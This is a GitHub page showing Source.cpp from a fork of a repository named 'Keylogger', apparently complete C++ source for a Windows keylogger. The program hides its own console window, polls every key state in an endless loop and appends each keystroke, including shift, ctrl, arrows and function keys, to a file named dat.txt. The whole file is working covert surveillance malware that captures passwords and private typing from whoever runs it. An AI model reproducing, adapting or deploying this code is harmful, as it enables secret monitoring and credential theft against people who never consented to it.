forked from EgeBalci/Keylogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSource.cpp
356 lines (336 loc) · 6.98 KB
/
Source.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << input;
LogFile.close();
}
}
bool SpecialKeys(int S_Key) {
switch (S_Key) {
/*case VK_SPACE:
cout << " ";
LOG(" ");
return true;*/
/*case VK_RETURN:
cout << "\n";
LOG("\n");
return true;*/
/*case '3/4':
cout << ".";
LOG(".");
return true;*/
/*case VK_SHIFT:
cout << "#SHIFT#";
LOG("#SHIFT#");
return true;*/
/*case VK_BACK:
cout << "\b";
LOG("\b");
return true;*/
case VK_RBUTTON:
cout << "#R_CLICK#";
LOG("#R_CLICK#");
return true;
case VK_RETURN:
cout << "\n";
LOG("\n");
return true;
case VK_BACK:
cout << "\b";
LOG("\b");
return true;
case VK_SPACE:
cout << " ";
LOG(" ");
return true;
case VK_SHIFT:
cout << "*shift*";
LOG("*shift*");
return true;
case VK_OEM_PERIOD:
cout << ".";
LOG(".");
return true;
case VK_TAB:
cout << "*tab*";
LOG("*tab*");
return true;
case VK_CLEAR:
cout << "*clear*";
LOG("*clear*");
return true;
case VK_CONTROL:
cout << "*ctrl*";
LOG("*ctrl*");
return true;
case VK_MENU:
cout << "*alt*";
LOG("*alt*");
return true;
case VK_CAPITAL:
cout << "*caps*";
LOG("*caps*");
return true;
case VK_ESCAPE:
cout << "*escape*";
LOG("*escape*");
return true;
case VK_LEFT:
cout << "*left*";
LOG("*left*");
return true;
case VK_UP:
cout << "*up*";
LOG("*up*");
return true;
case VK_RIGHT:
cout << "*right*";
LOG("*right*");
return true;
case VK_DOWN:
cout << "*down*";
LOG("*down*");
return true;
case VK_SELECT:
cout << "*select*";
LOG("*select*");
return true;
/* case VK_DEL:
cout << "*del*";
LOG("*del*");
return true;*/
case VK_INSERT:
cout << "*ins*";
LOG("*ins*");
return true;
case VK_LWIN:
cout << "*win*";
LOG("*win*");
return true;
case VK_RWIN:
cout << "*win*";
LOG("*win*");
return true;
case VK_NUMPAD0:
cout << "0";
LOG("0");
return true;
case VK_NUMPAD1:
cout << "1";
LOG("1");
return true;
case VK_NUMPAD2:
cout << "2";
LOG("2");
return true;
case VK_NUMPAD3:
cout << "3";
LOG("3");
return true;
case VK_NUMPAD4:
cout << "4";
LOG("4");
return true;
case VK_NUMPAD5:
cout << "5";
LOG("5");
return true;
case VK_NUMPAD6:
cout << "6";
LOG("6");
return true;
case VK_NUMPAD7:
cout << "7";
LOG("7");
return true;
case VK_NUMPAD8:
cout << "8";
LOG("8");
return true;
case VK_NUMPAD9:
cout << "9";
LOG("9");
return true;
case VK_MULTIPLY:
cout << "*";
LOG("*");
return true;
case VK_ADD:
cout << "+";
LOG("+");
return true;
case VK_SUBTRACT:
cout << "-";
LOG("-");
return true;
case VK_DECIMAL:
cout << ".";
LOG(".");
return true;
case VK_DIVIDE:
cout << "/";
LOG("/");
return true;
case VK_F1:
cout << "f1";
LOG("f1");
return true;
case VK_F2:
cout << "f2";
LOG("f2");
return true;
case VK_F3:
cout << "f3";
LOG("f3");
return true;
case VK_F4:
cout << "f4";
LOG("f4");
return true;
case VK_F5:
cout << "f5";
LOG("f5");
return true;
case VK_F6:
cout << "f6";
LOG("f6");
return true;
case VK_F7:
cout << "f7";
LOG("f7");
return true;
case VK_F8:
cout << "f8";
LOG("f8");
return true;
case VK_F9:
cout << "f9";
LOG("f9");
return true;
case VK_F11:
cout << "f11";
LOG("f11");
return true;
case VK_F12:
cout << "f12";
LOG("f12");
return true;
case VK_NUMLOCK:
cout << "*num-lock*";
LOG("*num-lock*");
return true;
case VK_SCROLL:
cout << "*scroll-lock*";
LOG("*scroll-lock*");
return true;
case VK_LSHIFT:
cout << "*left-shift*";
LOG("*left-shift*");
return true;
case VK_RSHIFT:
cout << "*right-shift*";
LOG("*right-shift*");
return true;
case VK_LCONTROL:
cout << "*left-ctrl*";
LOG("*left-ctrl*");
return true;
case VK_RCONTROL:
cout << "*right-ctrl*";
LOG("*right-ctrl*");
return true;
case VK_LMENU:
cout << "*l-alt*";
LOG("*l-alt*");
return true;
case VK_RMENU:
cout << "*r-alt*";
LOG("*r-alt*");
return true;
/*case VK_BROWSER_BACK:
cout << "";
return true;
case VK_BROWSER_FORWARD:
cout << "";
return true;
case VK_BROWSER_REFRESH:
cout << "";
return true;
case VK_BROWSER_STOP:
cout << "";
return true;*/
case VK_OEM_1:
cout << ";:";
LOG(";:");
return true;
case VK_OEM_PLUS:
cout << "+";
LOG("+");
return true;
case VK_OEM_COMMA:
cout << ",";
LOG(",");
return true;
case VK_OEM_MINUS:
cout << "-";
LOG("-");
return true;
case VK_OEM_2:
cout << "/?";
LOG("/?");
return true;
case VK_OEM_3:
cout << "`~";
LOG("`~");
return true;
case VK_OEM_4:
cout << "[{";
LOG("[{");
return true;
case VK_OEM_5:
cout << "\ and |";
LOG("\ and |");
return true;
case VK_OEM_6:
cout << "]}";
LOG("]}");
return true;
case VK_OEM_7:
cout << "*single-quote double-quote*";
LOG("*single-quote double-quote*");
return true;
default:
return false;
}
}
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 8; KEY <= 190; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
if (SpecialKeys(KEY) == false) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
}
return 0;
}